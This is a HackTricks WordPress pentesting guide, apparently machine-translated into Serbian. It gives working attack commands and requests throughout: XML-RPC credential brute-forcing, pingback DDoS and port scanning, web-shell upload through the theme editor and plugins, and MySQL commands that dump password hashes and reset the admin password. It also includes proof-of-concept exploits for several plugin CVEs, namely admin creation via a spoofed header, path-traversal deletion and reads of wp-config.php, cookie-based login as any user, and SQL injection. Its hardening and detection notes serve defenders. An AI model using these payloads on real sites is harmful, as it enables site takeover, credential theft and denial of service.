Wordpress

Reading time: 26 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

  • Otpremljene datoteke idu u: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Fajlovi tema se nalaze u /wp-content/themes/, tako da ako promenite neki php fajl teme da biste dobili RCE verovatno ćete koristiti tu putanju. Na primer: Koristeći theme twentytwelve možete pristupiti fajlu 404.php u: /wp-content/themes/twentytwelve/404.php

  • Još jedan koristan URL može biti: /wp-content/themes/default/404.php

  • U wp-config.php možete pronaći root lozinku baze podataka.

  • Podrazumevane putanje za login koje treba proveriti: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Glavni WordPress fajlovi

  • index.php
  • license.txt sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.
  • wp-activate.php se koristi za proces aktivacije putem email-a prilikom podešavanja novog WordPress sajta.
  • Login folderi (mogu biti preimenovani da bi se sakrili):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao mehanizam enkodiranja. Ovaj tip komunikacije je zamenjen WordPress REST API.
  • Folder wp-content je glavni direktorijum u kome se čuvaju plugins i themes.
  • wp-content/uploads/ je direktorijum gde se čuvaju svi fajlovi upload-ovani na platformu.
  • wp-includes/ je direktorijum gde se nalaze core fajlovi, kao što su sertifikati, fontovi, JavaScript fajlovi i widgets.
  • wp-sitemap.xml U Wordpress verzijama 5.5 i novijim, WordPress generiše sitemap XML fajl sa svim javnim postovima i javno query-abilnim tipovima postova i taksonomijama.

Post exploitation

  • Fajl wp-config.php sadrži informacije potrebne WordPress-u da se poveže na bazu podataka kao što su ime baze, host baze, username i password, authentication keys i salts, i prefix tabela u bazi. Ovaj konfiguracioni fajl se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno pri otklanjanju problema.

Permissions korisnika

  • Administrator
  • Editor: Objavljuje i upravlja svojim i tuđim postovima
  • Author: Objavljuje i upravlja sopstvenim postovima
  • Contributor: Piše i upravlja svojim postovima, ali ne može da ih objavi
  • Subscriber: Pregleda postove i uređuje svoj profil

Passive Enumeration

Get WordPress version

Proverite da li možete pronaći fajlove /license.txt ili /readme.html

Unutar source code stranice (primer sa https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link fajlovi

  • JavaScript fajlovi

Preuzmi Plugins

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Preuzmi teme

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Ekstrakcija verzija uopšteno

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Aktivna enumeracija

Dodaci i teme

Verovatno nećete moći da pronađete sve dodatke i teme. Da biste otkrili sve, moraćete da aktivno Brute Force listu dodataka i tema (nadajmo se da postoje automatizovani alati koji sadrže te liste).

Korisnici

  • ID Brute: Dobijate validne korisnike sa WordPress sajta Brute Forcing korisničkih ID-eva:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Ako su odgovori 200 ili 30X, to znači da je id važeći. Ako je odgovor 400, onda je id nevažeći.

  • wp-json: Takođe možete pokušati da dobijete informacije o korisnicima upitom:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Još jedan /wp-json/ endpoint koji može otkriti neke informacije o korisnicima je:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Imajte na umu da ovaj endpoint izlaže samo korisnike koji su napravili post. Biće pružene samo informacije o korisnicima koji imaju ovu opciju omogućenu.

Takođe imajte na umu da /wp-json/wp/v2/pages može leak-ovati IP adrese.

  • Login username enumeration: Prilikom prijave na /wp-login.php poruka je različita u zavisnosti od toga da li naznačeno korisničko ime postoji ili ne.

XML-RPC

Ako je xml-rpc.php aktivan, možete izvršiti brute-force kredencijala ili ga koristiti za pokretanje DoS napada na druge resurse. (You can automate this process using this for example).

Da biste proverili da li je aktivan, pokušajte da pristupite /xmlrpc.php i pošaljete ovaj zahtev:

Proveri

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories or metaWeblog.getUsersBlogs su neki od metoda koji se mogu koristiti za brute-force credentials. Ako možete pronaći bilo koji od njih, možete poslati nešto poput:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Poruka "Incorrect username or password" u odgovoru sa statusnim kodom 200 treba da se pojavi ako kredencijali nisu validni.

Koristeći ispravne kredencijale možete otpremiti fajl. U odgovoru će se pojaviti putanja (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:

Zaobilaženje 2FA

Ova metoda je namenjena programima, a ne ljudima, i zastarela je, pa ne podržava 2FA. Dakle, ako imate validne creds ali je glavni ulaz zaštićen 2FA, možda ćete moći zloupotrebiti xmlrpc.php da se prijavite koristeći te creds i zaobiđete 2FA. Imajte na umu da nećete moći da izvršite sve akcije koje možete kroz konzolu, ali ipak možete uspeti da dođete do RCE kao što Ippsec objašnjava u https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS ili port scanning

Ako u listi pronađete metodu pingback.ping, možete naterati Wordpress da pošalje proizvoljan zahtev na bilo koji host/port.
Ovo se može iskoristiti da naterate hiljade Wordpress sajtova da pristupe jednoj lokaciji (tako se u toj lokaciji izaziva DDoS) ili možete iskoristiti da naterate Wordpress da scan neku internu network (možete navesti bilo koji port).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Ako dobijete faultCode sa vrednošću većom od 0 (17), to znači da je port otvoren.

Pogledajte upotrebu system.multicall u prethodnom odeljku da naučite kako da zloupotrebite ovu metodu da prouzrokujete DDoS.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Ovaj fajl obično postoji pod root direktorijumom Wordpress sajta: /wp-cron.php
Kada se ovaj fajl pristupi, izvršava se "težak" MySQL upit, pa može biti iskorišćen od strane napadača da izazove DoS.
Takođe, podrazumevano, wp-cron.php se poziva pri svakom učitavanju stranice (svaki put kada klijent zahteva bilo koju Wordpress stranicu), što na sajtovima sa velikim saobraćajem može izazvati probleme (DoS).

Preporučuje se onemogućiti Wp-Cron i kreirati pravi cronjob na hostu koji će izvršavati potrebne akcije u redovnim intervalima (bez izazivanja problema).

/wp-json/oembed/1.0/proxy - SSRF

Pokušajte da pristupite https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i Worpress sajt može napraviti zahtev ka vama.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Ovaj alat proverava da li postoji methodName: pingback.ping i putanja /wp-json/oembed/1.0/proxy, i ako postoje, pokušava da ih iskoristi.

Automatski alati

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Dobijanje pristupa prepisivanjem jednog bita

Više radoznalost nego stvarni napad. U CTF-u https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man mogao si da preokreneš 1 bit u bilo kom wordpress fajlu. Tako si mogao da preokreneš bit na poziciji 5389 u fajlu /var/www/html/wp-includes/user.php da bi NOP-ovao NOT (!) operator.

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Izmena php fajla iz korišćene teme (admin credentials needed)

Appearance → Theme Editor → 404 Template (sa desne strane)

Promenite sadržaj u php shell:

Potražite na internetu kako pristupiti toj ažuriranoj stranici. U ovom slučaju morate pristupiti ovde: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Možete koristiti:

bash
use exploit/unix/webapp/wp_admin_shell_upload

da biste dobili sesiju.

Plugin RCE

PHP plugin

Može biti moguće otpremiti .php fajlove kao plugin.
Kreirajte svoj php backdoor, na primer koristeći:

Zatim dodajte novi plugin:

Otpremajte plugin i kliknite Install Now:

Kliknite na Procced:

Verovatno ovo neće naizgled ništa uraditi, ali ako odete u Media, videćete da je vaš shell otpremljen:

Pristupite mu i videćete URL za izvršenje reverse shell-a:

Uploading and activating malicious plugin

Ova metoda uključuje instalaciju zlonamernog plugina koji je poznat kao ranjiv i može se iskoristiti za dobivanje web shell-a. Proces se izvodi kroz WordPress dashboard na sledeći način:

  1. Plugin Acquisition: plugin se dobavlja iz izvora kao što je Exploit DB, na primer here.
  2. Plugin Installation:
  • Idite na WordPress dashboard, zatim na Dashboard > Plugins > Upload Plugin.
  • Otpremajte zip fajl preuzetog plugina.
  1. Plugin Activation: Kada je plugin uspešno instaliran, mora biti aktiviran preko dashboard-a.
  2. Exploitation:
  • Sa pluginom "reflex-gallery" instaliranim i aktiviranim, može biti eksploatisan jer je poznato da je ranjiv.
  • Metasploit framework obezbeđuje exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter sesija, čime se dobija neautorizovani pristup sajtu.
  • Napominje se da je ovo samo jedan od mnogih načina da se iskoristi WordPress sajt.

Sadržaj uključuje vizuelna pomagala koja prikazuju korake u WordPress dashboard-u za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovakav način ilegalno i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u zakonitom kontekstu, kao što je penetration testing uz izričitu dozvolu.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike je skripta dizajnirana da eskalira Cross-Site Scripting (XSS) ranjivost u Remote Code Execution (RCE) ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte this post. Ona pruža podršku za Wordpress Versions 6.X.X, 5.X.X and 4.X.X. i omogućava:
  • Privilege Escalation: Kreira korisnika u WordPress-u.
  • (RCE) Custom Plugin (backdoor) Upload: Otpremite svoj custom plugin (backdoor) u WordPress.
  • (RCE) Built-In Plugin Edit: Uređuje ugrađene plugine u WordPress-u.
  • (RCE) Built-In Theme Edit: Uređuje ugrađene teme u WordPress-u.
  • (Custom) Custom Exploits: Custom Exploits za third-party WordPress plugine/teme.

Post Exploitation

Ekstrahujte korisnička imena i lozinke:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Promenite administratorsku lozinku:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Površina napada

Znanje o tome kako Wordpress plugin može izložiti funkcionalnost ključno je za pronalaženje ranjivosti u toj funkcionalnosti. Možete pronaći načine na koje plugin može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih pluginova u this blog post.

  • wp_ajax

Jedan od načina na koji plugin može izložiti funkcije korisnicima je putem AJAX handler-a. Oni mogu sadržati greške u logici, autorizaciji ili autentifikaciji. Štaviše, često se događa da ove funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koje bilo koji autentifikovani korisnik u Wordpress instanci može imati (bez obzira na ulogu).

Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u pluginu:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Korišćenje nopriv čini endpoint dostupnim svim korisnicima (čak i neautentifikovanim).

caution

Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije wp_verify_nonce, ta funkcija samo proverava da li je korisnik prijavljen, obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup akcijama koje zahtevaju visoke privilegije.

  • REST API

Takođe je moguće izložiti funkcije iz WordPress-a registracijom REST API-ja koristeći funkciju register_rest_route:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback je callback funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.

Ako se koristi ugrađena funkcija __return_true, jednostavno će preskočiti proveru permisija korisnika.

  • Direktan pristup php fajlu

Naravno, Wordpress koristi PHP i fajlovi unutar plugin-a su direktno dostupni sa weba. Dakle, ako plugin otkriva neku ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, biće eksploatabilna od strane bilo kog korisnika.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Neki plugin-i implementiraju “trusted header” prečice za interne integracije ili reverse proxy-je i potom koriste taj header da postave trenutni korisnički kontekst za REST zahteve. Ako header nije kriptografski vezan za zahtev od strane upstream komponente, napadač ga može lažirati i pozvati privilegovane REST rute kao administrator.

  • Uticaj: neautentifikovano eskaliranje privilegija do administratora kreiranjem novog administratora preko core users REST rute.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (forsira user ID 1, tipično prvi administratorski nalog).
  • Exploited route: POST /wp-json/wp/v2/users sa nizom povišenih uloga.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Zašto ovo funkcioniše

  • Plugin preslikava client-controlled header u authentication state i zaobilazi capability checks.
  • WordPress core očekuje create_users capability za ovaj route; plugin hack ga zaobilazi tako što direktno postavlja current user context iz header-a.

Očekivani indikatori uspeha

  • HTTP 201 sa JSON body koji opisuje kreiranog korisnika.
  • Novi admin korisnik vidljiv u wp-admin/users.php.

Kontrolna lista za detekciju

  • Grep-ujte za getallheaders(), $_SERVER['HTTP_...'], ili vendor SDK-ove koji čitaju custom headers da bi postavili user context (npr. wp_set_current_user(), wp_set_auth_cookie()).
  • Pregledajte REST registracije za privileged callbacks koji nemaju robusne permission_callback provere i umesto toga zavise od request headers.
  • Potražite upotrebe core user-management funkcija (wp_insert_user, wp_create_user) unutar REST handler-a koje su ograničene samo vrednostima header-a.

Ojačavanje bezbednosti

  • Nikada ne izvlačite authentication ili authorization iz client-controlled headers.
  • Ako reverse proxy mora da ubacuje identity, završite trust na samom proxy-ju i uklonite dolazne kopije (npr. unset X-Wcpay-Platform-Checkout-User na edge-u), zatim prosledite signed token i verifikujte ga na server strani.
  • Za REST route-ove koji izvršavaju privileged actions, zahtevajte current_user_can() provere i strogi permission_callback (ne koristite __return_true).
  • Preferirajte first-party auth (cookies, application passwords, OAuth) umesto header “impersonation”.

References: pogledajte linkove na kraju ove stranice za javni slučaj i širu analizu.

Neautentifikovano proizvoljno brisanje fajlova preko wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress teme i plugin-ovi često izlažu AJAX handlers kroz wp_ajax_ i wp_ajax_nopriv_ hooks. Kada se koristi nopriv varijanta callback postaje dostupan neautentifikovanim posetiocima, pa svaka osetljiva akcija mora dodatno da implementira:

  1. A capability check (npr. current_user_can() ili bar is_user_logged_in()), i
  2. A CSRF nonce validiran sa check_ajax_referer() / wp_verify_nonce(), i
  3. Stroga sanitizacija / validacija input-a.

Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrolna mehanizma u Remove Font Family funkciji i na kraju je isporučila sledeći kod (pojednostavljeno):

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Problemi koje uvodi ovaj fragment koda:

  • Neautentifikovan pristup – hook wp_ajax_nopriv_ je registrovan.
  • Nema provere nonce / capability – bilo koji posetilac može pozvati endpoint.
  • Nema sanitizacije putanje – korisnički kontrolisana fontfamily string je konkatenirana u fajl-sistemski put bez filtracije, omogućavajući klasičan ../../ traversal.

Eksploatacija

Napadač može obrisati bilo koji fajl ili direktorijum ispod osnovnog direktorijuma uploads (obično <wp-root>/wp-content/uploads/) slanjem jednog HTTP POST zahteva:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Pošto se wp-config.php nalazi izvan uploads, četiri ../ sekvence su dovoljne na podrazumevanoj instalaciji. Brisanje wp-config.php primorava WordPress da pri sledećem posetu uđe u installation wizard, omogućavajući potpuno preuzimanje sajta (napadač samo dostavlja novu DB konfiguraciju i kreira admin nalog).

Drugi značajni ciljevi uključuju plugin/theme .php fajlove (npr. da se onesposobe security plugins) ili .htaccess pravila.

Kontrolna lista za detekciju

  • Bilo koji add_action( 'wp_ajax_nopriv_...') callback koji poziva funkcije za rad sa fajl sistemom (copy(), unlink(), $wp_filesystem->delete(), itd.).
  • Konkatenacija nesanitizovanih korisničkih ulaza u putanjama (potražite $_POST, $_GET, $_REQUEST).
  • Nedostatak check_ajax_referer() i current_user_can()/is_user_logged_in().

Ojačavanje

php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );

$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;

if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
//  🔒  NO wp_ajax_nopriv_ registration

tip

Uvek tretirajte svaku operaciju pisanja/brisanja na disku kao privilegovanu i dvaput proverite: • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath() plus str_starts_with()).


Eskalacija privilegija putem obnavljanja zastarelih uloga i nedostatka autorizacije (ASE "View Admin as Role")

Mnogi pluginovi implementiraju funkciju "view as role" ili privremenog prebacivanja uloge tako što čuvaju originalne uloge u user meta kako bi ih kasnije mogli vratiti. Ako put za vraćanje zavisi samo od parametara zahteva (e.g., $_REQUEST['reset-for']) i liste koju održava plugin, bez provere capabilities i validnog nonce-a, to postaje vertikalna eskalacija privilegija.

Primer iz stvarnog sveta pronađen je u Admin and Site Enhancements (ASE) pluginu (≤ 7.6.2.1). Grana za resetovanje vraćala je uloge na osnovu reset-for=<username> ako je korisničko ime bilo u internom nizu $options['viewing_admin_as_role_are'], ali nije izvršila ni current_user_can() proveru ni verifikaciju nonce-a pre uklanjanja trenutnih uloga i ponovnog dodavanja sačuvanih uloga iz user meta _asenha_view_admin_as_original_roles:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Zašto se može iskoristiti

  • Veruje $_REQUEST['reset-for'] i opciji plugina bez autorizacije na serverskoj strani.
  • Ako je korisnik prethodno imao više privilegija sačuvanih u _asenha_view_admin_as_original_roles i bio je degradiran, može ih vratiti pristupanjem reset putanji.
  • U nekim deployment-ima, bilo koji autentifikovani korisnik mogao je pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u viewing_admin_as_role_are (neispravna autorizacija).

Preduslovi napada

  • Ranjiva verzija plugina sa uključenom funkcionalnošću.
  • Ciljni nalog ima u user meta sačuvanu zastarelu ulogu visokih privilegija iz ranije upotrebe.
  • Bilo koja autentifikovana sesija; nedostaje nonce/capability u reset toku.

Eksploatacija (primer)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Na ranjivim build-ovima ovo uklanja trenutne uloge i ponovo dodaje sačuvane originalne uloge (npr. administrator), efektivno eskalirajući privilegije.

Detection checklist

  • Tražite funkcije za menjanje uloga koje čuvaju “original roles” u user meta (npr. _asenha_view_admin_as_original_roles).
  • Identifikujte putanje za reset/restore koje:
  • Čitaju korisnička imena iz $_REQUEST / $_GET / $_POST.
  • Menjaju uloge pomoću add_role() / remove_role() bez current_user_can() i wp_verify_nonce() / check_admin_referer().
  • Autorizuju na osnovu niza opcija plugina (npr. viewing_admin_as_role_are) umesto na osnovu capabilities aktera.

Hardening

  • Sprovodite provere capabilities na svakom ogranku koji menja stanje (npr. current_user_can('manage_options') ili strože).
  • Zahtevajte nonces za sve mutacije uloga/permisa i verifikujte ih: check_admin_referer() / wp_verify_nonce().
  • Nikada ne verujte korisničkim imenima iz zahteva; odredite ciljnog korisnika na serverskoj strani na osnovu autentifikovanog aktera i jasne politike.
  • Invalidirajte stanje “original roles” prilikom ažuriranja profila/uloga kako biste izbegli vraćanje zastarelih visokoprivilegovanih uloga:
php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
  • Razmotrite skladištenje minimalnog stanja i korišćenje vremenski ograničenih tokena zaštićenih capability-jem za privremene promene uloga.

Nepotvrđena eskalacija privilegija putem cookie‑pouzdanog prebacivanja korisnika na javnom init (Service Finder “sf-booking”)

Neki pluginovi povezuju pomoćnike za prebacivanje korisnika na javni init hook i određuju identitet iz kolačića koji kontroliše klijent. Ako kod pozove wp_set_auth_cookie() bez provere autentikacije, capability-ja i važećeg nonce-a, bilo koji neautentifikovani posetilac može prisiliti prijavu kao proizvoljan ID korisnika.

Tipičan ranjiv obrazac (pojednostavljeno iz Service Finder Bookings ≤ 6.1):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Zašto je eksploatabilno

  • Javni init hook чини handler доступним неаутентификованим корисницима (нема is_user_logged_in() заштите).
  • Идентитет се изводи из клијентски изменљивог cookie-ja (original_user_id).
  • Директан позив wp_set_auth_cookie($uid) пријављује подносиоца захтева као тог корисника без било каквих capability/nonce провера.

Експлоатација (без аутентификације)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF considerations for WordPress/plugin CVEs

Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge ranjivosti visokog uticaja u WordPress/plugin su specifične za aplikaciju — greške u logici/autorizaciji koje liče na benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugin‑ova.

Offensive notes

  • Ciljajte krajnje tačke specifične za plugin sa čistim payloads: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Prvo testirajte neautentifikovane putanje (AJAX nopriv, REST sa permisivnim permission_callback, public shortcodes). Default payloads često uspevaju bez obfuscation.
  • Tipični slučajevi visokog uticaja: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Defensive notes

  • Ne oslanjajte se na generičke WAF potpise za zaštitu plugin CVEs. Implementirajte zakrpe na nivou aplikacije specifične za ranjivost (virtual patches) ili brzo ažurirajte.
  • Preferirajte pozitivne sigurnosne provere u kodu (capabilities, nonces, strict input validation) umesto negativnih regex filtera.

WordPress Protection

Regular Updates

Proverite da li su WordPress, plugins i themes ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Takođe, instalirajte samo pouzdane WordPress pluginove i teme.

Security Plugins

Ostale preporuke

  • Uklonite podrazumevanog admin korisnika
  • Koristite jake lozinke i 2FA
  • Periodično pregledajte dozvole korisnika
  • Ograničite pokušaje prijave kako biste sprečili Brute Force napade
  • Preimenujte wp-admin.php fajl i dozvolite pristup samo interno ili sa određenih IP adresa.

Neautentifikovana SQL Injection usled nedovoljne validacije (WP Job Portal <= 2.3.2)

WP Job Portal recruitment plugin je izložio zadatak savecategory koji na kraju izvršava sledeći ranjivi kod u modules/category/model.php::validateFormData():

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Issues introduced by this snippet:

  1. Nesanitizovan korisnički unosparentid dolazi direktno iz HTTP zahteva.
  2. Spajanje stringova unutar WHERE klauzule – nema is_numeric() / esc_sql() / prepared statement.
  3. Dostupno bez autentifikacije – iako se akcija izvršava preko admin-post.php, jedina provera je CSRF nonce (wp_verify_nonce()), koji bilo koji posetilac može dohvatiti sa javne stranice koja ubacuje shortcode [wpjobportal_my_resumes].

Eksploatacija

  1. Uzmite novi nonce:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Injektujte proizvoljan SQL zloupotrebom parentid:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, dokazujući SQLi.

Neautentifikovano preuzimanje proizvoljnog fajla / Path Traversal (WP Job Portal <= 2.3.2)

Još jedan zadatak, downloadcustomfile, dozvoljavao je posetiocima da preuzmu bilo koji fajl na disku putem Path Traversal-a. Ranjiva sink se nalazi u modules/customfield/model.php::downloadCustomUploadedFile():

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name je pod kontrolom napadača i konkateniran bez sanitizacije. Ponovo, jedina barijera je CSRF nonce koji se može dobiti sa stranice rezimea.

Exploitation

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Server vraća sadržaj wp-config.php, leaking DB credentials i auth keys.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
